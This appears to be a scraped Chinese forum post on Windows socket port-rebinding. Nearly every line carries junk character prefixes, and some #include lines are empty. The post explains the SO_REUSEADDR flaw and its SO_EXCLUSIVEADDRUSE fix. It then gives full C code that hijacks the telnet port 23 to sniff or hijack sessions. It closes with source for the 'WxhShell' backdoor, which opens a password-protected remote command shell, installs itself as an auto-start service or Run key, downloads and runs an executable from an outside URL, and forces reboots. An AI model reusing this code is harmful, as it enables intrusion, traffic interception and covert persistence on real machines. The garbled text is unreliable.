在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
aGD< #] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
en<~_|J P%3pM*. saddr.sin_family = AF_INET;
8z9{H p`"k=tZ{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
aB,-E>+ 4zoQe>v~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'2(m%X\6 aFnel8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
pXk^EV0 or]v]*:~l 这意味着什么?意味着可以进行如下的攻击:
8dczC 4>KF`?%4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
s4|\cY`b- 7r:h_r- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'~[8>Q> ,Bk5(e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]~TsmR[ XNz+a|cF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@>2pY_ +9_Y0<C 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&hOz(825r -%asHDQ{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
] ,|,/~ QaWS%0go 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=X$ ieXq|
w~66G #include
j q+(2 #include
#HUn~r #include
p+d-7'?I #include
x?h/e; DWORD WINAPI ClientThread(LPVOID lpParam);
Kj4/fB int main()
]VI^ hhf {
]E`<8hRB WORD wVersionRequested;
Pe,>ny^J1 DWORD ret;
J@3, WSADATA wsaData;
GY~$<^AK BOOL val;
Ln+l'&_nb SOCKADDR_IN saddr;
wI.aV> SOCKADDR_IN scaddr;
1dH|/9 int err;
eADCT SOCKET s;
8w0~2-v.?V SOCKET sc;
LPvp
(1 int caddsize;
EZUaYp~M HANDLE mt;
tB_le>rhl DWORD tid;
ai!u+L wVersionRequested = MAKEWORD( 2, 2 );
-,J<X\ err = WSAStartup( wVersionRequested, &wsaData );
TGCB=e if ( err != 0 ) {
SDnl^a printf("error!WSAStartup failed!\n");
2b"*~O; return -1;
!=[Y yh }
q}{E![ZTu saddr.sin_family = AF_INET;
0Hnj<| HL 8D*7{Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1.3#PdMR, [M|^e;tWK saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=*\s`ox` saddr.sin_port = htons(23);
;blL\|ch; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?@64gdlwq {
\""^'pP@ printf("error!socket failed!\n");
Bx?3E^!T return -1;
@v-^j }
,.,8-In^ val = TRUE;
iJs~NLCgVu //SO_REUSEADDR选项就是可以实现端口重绑定的
o@meogkL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}d[(kC_ {
@C;1e7 printf("error!setsockopt failed!\n");
!cW rB9 return -1;
v rs }
3[m~-8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@r"\bBi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
RY-iFydPc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*$Q>Om] iq&3S 0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
oi #B7 {
wuqe{? ret=GetLastError();
;_}pIO printf("error!bind failed!\n");
2#wnJdr6E return -1;
'xW=qboOp }
#CS>_qe.{ listen(s,2);
77RZ<u9/` while(1)
*^?tr?e%I< {
xT*'p&ap caddsize = sizeof(scaddr);
O
NabL.CV //接受连接请求
hx$]fvDevD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
J)|3jbX"I] if(sc!=INVALID_SOCKET)
u0C:q`;z {
EC+t-:a] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s*uA3}j if(mt==NULL)
i<uU_g'M {
Liqo)m printf("Thread Creat Failed!\n");
bt}8ymcG break;
>* -IIo }
9b.
kso9. }
K~(RV4oF8B CloseHandle(mt);
DUOoTlp }
~ k*]Z8Z closesocket(s);
[ 8Ohg WSACleanup();
15:9JVH3D return 0;
66=[6U9 * }
]kj^T?&n. DWORD WINAPI ClientThread(LPVOID lpParam)
{*xE+ | {
>"W^|2R SOCKET ss = (SOCKET)lpParam;
/}:{(Go SOCKET sc;
P{Nvt/% unsigned char buf[4096];
>y%H2][ SOCKADDR_IN saddr;
LuS@Kf8N+ long num;
:jiEn
y DWORD val;
Fis!MMh.$ DWORD ret;
o;8$#gyNY //如果是隐藏端口应用的话,可以在此处加一些判断
Wt.DL mO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$|$@?H>K saddr.sin_family = AF_INET;
K+3-XhG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z"@^'{.l saddr.sin_port = htons(23);
9q;O`& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mh%{cLM {
$QJ3~mG2 printf("error!socket failed!\n");
*i"9D: return -1;
xm m,-u }
o/AG9|()4 val = 100;
~j!n`#.\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i"Jy>' {
(4H\ho8+mp ret = GetLastError();
SioeIXU return -1;
h.<f%&)F }
d`sZ"8}j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vC]X>P5 Px {
*byUqY3( ret = GetLastError();
x^s,<G return -1;
f;E#CjlTL }
+d,
~h_7! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ieyK$q {
^t0!Dbx3SE printf("error!socket connect failed!\n");
E\iK_'# closesocket(sc);
V^7.@BeT closesocket(ss);
.; MS78BR return -1;
1RAkqw<E }
C4m+Ta% while(1)
r8:r}Qj2w[ {
P(T-2Ux6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ca-"3aQkc //如果是嗅探内容的话,可以再此处进行内容分析和记录
'FW?
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f 3UCELJ num = recv(ss,buf,4096,0);
KhjC'CU, if(num>0)
@IG's- send(sc,buf,num,0);
!)a_@d.;i else if(num==0)
HLyAzB~r break;
8xy8/UBIk0 num = recv(sc,buf,4096,0);
Z`TfS+O6 if(num>0)
1/$PxQ send(ss,buf,num,0);
O-,
"/Z else if(num==0)
* +
T(i break;
,_V V;P }
BJ
UG<k closesocket(ss);
:zL)O closesocket(sc);
9#DXA} return 0 ;
_S9)<RVI+ }
3lF"nv (cj9xROx 6Zi{gx ==========================================================
juEPUsE Q<sqlh!h 下边附上一个代码,,WXhSHELL
J2O,wb)U KjGu !B ==========================================================
a_N7X Us`=^\ #include "stdafx.h"
(?zg.y u^MKqI #include <stdio.h>
p]aEC+q #include <string.h>
J3yK^@&& #include <windows.h>
e#[Klh$]EW #include <winsock2.h>
s^u Y #include <winsvc.h>
(.-4Jn #include <urlmon.h>
-XYvjW,| D07M!U #pragma comment (lib, "Ws2_32.lib")
z:Am1B #pragma comment (lib, "urlmon.lib")
~"+"6zg KVZB`c$<t #define MAX_USER 100 // 最大客户端连接数
<+QdBp'd; #define BUF_SOCK 200 // sock buffer
GDLw_usV #define KEY_BUFF 255 // 输入 buffer
xvl$,\iqE P<pv@l9) #define REBOOT 0 // 重启
~b_DFj #define SHUTDOWN 1 // 关机
UytMnJ88 :FAPH8] #define DEF_PORT 5000 // 监听端口
\HGf!zZ R+LKa Z #define REG_LEN 16 // 注册表键长度
dN2JOyS #define SVC_LEN 80 // NT服务名长度
NK|UeL7ght GxdAOiq; // 从dll定义API
&nEL}GM)E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|k.'w<6mb9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]p! { typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
xXJ*xYn"} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
eiK_JPF A- *PF<J/Pr // wxhshell配置信息
.n<vhLDQn struct WSCFG {
$zP5Hzx int ws_port; // 监听端口
)Do 0 char ws_passstr[REG_LEN]; // 口令
Pb&tWv\ql int ws_autoins; // 安装标记, 1=yes 0=no
@^| [J
_4 char ws_regname[REG_LEN]; // 注册表键名
iil<zEic char ws_svcname[REG_LEN]; // 服务名
"2mPWRItO char ws_svcdisp[SVC_LEN]; // 服务显示名
y% bIO6u: char ws_svcdesc[SVC_LEN]; // 服务描述信息
4c5BlD char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wnS,Jl int ws_downexe; // 下载执行标记, 1=yes 0=no
D:T]$<=9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i{^T;uAE char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K<P d.: QFP9"FM5F };
f|{iW E2d 868X/lL // default Wxhshell configuration
s%:fZ7y struct WSCFG wscfg={DEF_PORT,
fo ~uI(rk "xuhuanlingzhe",
wm~7`& 1,
3U<m\A1 "Wxhshell",
ceUe*}\cr "Wxhshell",
sS-dHa "WxhShell Service",
9q"kM "Wrsky Windows CmdShell Service",
nCY kUDnZ "Please Input Your Password: ",
Ty g>Xv 1,
b,'O|s]"Sc "
http://www.wrsky.com/wxhshell.exe",
W,4!"*+ "Wxhshell.exe"
3E*|^* };
+d3|Up8=
NzgG77> // 消息定义模块
Z"8lW+r* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{lf{0c$X. char *msg_ws_prompt="\n\r? for help\n\r#>";
k%6CkCw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
GK$[ !{w; char *msg_ws_ext="\n\rExit.";
TUfj\d, char *msg_ws_end="\n\rQuit.";
6?a`'& char *msg_ws_boot="\n\rReboot...";
l*l*5hA char *msg_ws_poff="\n\rShutdown...";
_=mzZe[ char *msg_ws_down="\n\rSave to ";
7ws<' d7/ a{`hAI${ char *msg_ws_err="\n\rErr!";
~HmH#"VP char *msg_ws_ok="\n\rOK!";
2>o[ *2h%dT:,% char ExeFile[MAX_PATH];
G4(R/<J,BQ int nUser = 0;
B|m)V9A%- HANDLE handles[MAX_USER];
&J3QO% int OsIsNt;
:8`A
KQr+VQdq> SERVICE_STATUS serviceStatus;
xO|r<R7d7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
RqA>" [L W %*#rcdq // 函数声明
O,r;-t4vYU int Install(void);
g<Z :`00| int Uninstall(void);
R/=rNUe int DownloadFile(char *sURL, SOCKET wsh);
5m1J&TZ0 int Boot(int flag);
OHndZ$'fI void HideProc(void);
4\n
~
int GetOsVer(void);
3-/|G-4k7 int Wxhshell(SOCKET wsl);
0GUJc}fgvN void TalkWithClient(void *cs);
|Y
uf/G%/ int CmdShell(SOCKET sock);
d"XZlEV int StartFromService(void);
fl-J:`zyyZ int StartWxhshell(LPSTR lpCmdLine);
C5~~$7k0 HPphTu}` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*D|a`R!Y VOID WINAPI NTServiceHandler( DWORD fdwControl );
WZ' Z"' 1Dr&BXvf]8 // 数据结构和表定义
Jxvh; SERVICE_TABLE_ENTRY DispatchTable[] =
h ;*x1BVE {
${T/b(NM {wscfg.ws_svcname, NTServiceMain},
Ja6 KO2}p {NULL, NULL}
6*Z7JiQ0 };
3X gJZ
2F2Hl // 自我安装
S>oEk3zlw int Install(void)
QoYEWXT|g {
pA!-spgX char svExeFile[MAX_PATH];
cKVFykwM HKEY key;
e\6H.9= strcpy(svExeFile,ExeFile);
fOi
Rstci ]?}>D?5 // 如果是win9x系统,修改注册表设为自启动
0q5J)l: if(!OsIsNt) {
T<n`i~~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xX&B&"]5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uU^DYgs RegCloseKey(key);
y-hTTd"{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
AqgY*"A7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iM!2m$'s RegCloseKey(key);
&qbEF3p^@ return 0;
:SaZhY }
):K% }
5Cdn
j }
]o'o
v else {
'J?{/O ^ k-ZO/yPo // 如果是NT以上系统,安装为系统服务
Cfi4~ & SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'x%gJi# if (schSCManager!=0)
TnQ>v{Rx {
P&Keslk SC_HANDLE schService = CreateService
Ll|-CY $ (
QATRrIj{e schSCManager,
Bc8&-eZ, wscfg.ws_svcname,
DXf wscfg.ws_svcdisp,
OJm ]gb7 SERVICE_ALL_ACCESS,
@\?HlGWEf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/5sn*, SERVICE_AUTO_START,
?;l@yx SERVICE_ERROR_NORMAL,
M8-8T svExeFile,
|"}rdOV) NULL,
iDDJJ>F26 NULL,
1WtE ]
D NULL,
obvE m[x!Z NULL,
^0zfQu+! NULL
6_%Cd`4Z );
N[cIr{XBGN if (schService!=0)
6) i-S<( {
K9@.l~n CloseServiceHandle(schService);
0h1u W26^ CloseServiceHandle(schSCManager);
Y*BmBRN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Jh.~]\u strcat(svExeFile,wscfg.ws_svcname);
k@7#8(3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w>B}w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2q[pOT'k RegCloseKey(key);
O\Huj= return 0;
J=-z~\f56 }
%1
)c{7 }
L!:NL#M CloseServiceHandle(schSCManager);
:|(YlNUv }
k<1i.rh }
2{j$1EdI@- L]MWdD return 1;
0f5 ag& }
-1dD~S$ >T;!Z 5L1 // 自我卸载
&KMI C int Uninstall(void)
Lyc6nP;F
{
N)mZ!K44 HKEY key;
?pIELezfK #H7
SLQr\ if(!OsIsNt) {
JLm3qIC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y`j_]qvt RegDeleteValue(key,wscfg.ws_regname);
|-ZML~2S=h RegCloseKey(key);
vP,pK=5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n>)aw4 RegDeleteValue(key,wscfg.ws_regname);
&vmk!wAs RegCloseKey(key);
,Mw93Kp
Va return 0;
WdOxwsq" }
V<5. 4{[G }
C
r R/ }
,esEh5=Ir else {
to:
;:Goa >\K=)/W2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)bg |l? if (schSCManager!=0)
M
IIa8; {
oO;L l?~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3!9JXq%Hl if (schService!=0)
j)/Vtf {
jvQ^Vh!mC if(DeleteService(schService)!=0) {
oU)(/ CloseServiceHandle(schService);
7KiraKb| CloseServiceHandle(schSCManager);
N/F_,>E return 0;
@{b5x>KX }
v9H
t~\> CloseServiceHandle(schService);
HKbV@NW }
R'Ue>k CloseServiceHandle(schSCManager);
KAZ<w~55c }
}-:B`:K& }
[NE! >h%>s4W return 1;
_b8KK4UR }
k(G6` dY @Nb/n // 从指定url下载文件
<U$YJtEK int DownloadFile(char *sURL, SOCKET wsh)
1M`>;fjYa {
<SJ6<' HRESULT hr;
7[=G;2< char seps[]= "/";
=( ZOn=IL char *token;
7W}%ralkg char *file;
!F s$W char myURL[MAX_PATH];
%qcCv9 char myFILE[MAX_PATH];
9+y&&;p ~ ?nn(Q- strcpy(myURL,sURL);
V_
(Ly8"1; token=strtok(myURL,seps);
r3x;lICx- while(token!=NULL)
]+`K\G ^X {
ds`YVXKH file=token;
FrMXf,} token=strtok(NULL,seps);
T x
Mh_ }
J8\l'}?& f~l pa7 GetCurrentDirectory(MAX_PATH,myFILE);
a4uy}@9z strcat(myFILE, "\\");
hAUP#y@:H: strcat(myFILE, file);
P4)Q5r send(wsh,myFILE,strlen(myFILE),0);
gm5%X'XL send(wsh,"...",3,0);
j8M t"B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
R/1e/ t if(hr==S_OK)
ri-&3%%z< return 0;
}{+?>!qD t else
zATOFV return 1;
ag8)^p'9 b,:^\HKC }
i5(qJ/u n]vCvmt // 系统电源模块
[3=Y 9P: int Boot(int flag)
,l!>+@ {
An>ai N] HANDLE hToken;
+D
@B eQu TOKEN_PRIVILEGES tkp;
w)J-e gc 5.-:)= if(OsIsNt) {
r=.@APZB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G "+[@| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f\?Rhyz tkp.PrivilegeCount = 1;
:!Z |_y{b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7`~0j6FY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_LgP if(flag==REBOOT) {
^%%Rf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"&XhMw4 return 0;
Gfx!.[Y
}
\$Ky AWrZi else {
DMA7eZf'Hv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%npLgCF return 0;
#/I+[|=[O }
JkR%o
#>5 }
pno}`Cer else {
]~$@x=p2e if(flag==REBOOT) {
~:,}?9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_Cf:\Xs
m return 0;
nGTGX }
Ax|'uvVAPT else {
I`xC0ZUKj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
**-rPonM[ return 0;
UazK0{t<f }
RJ3uu NK7 }
8|=
c3Z =KO]w9+\ return 1;
@fA|y }
`B&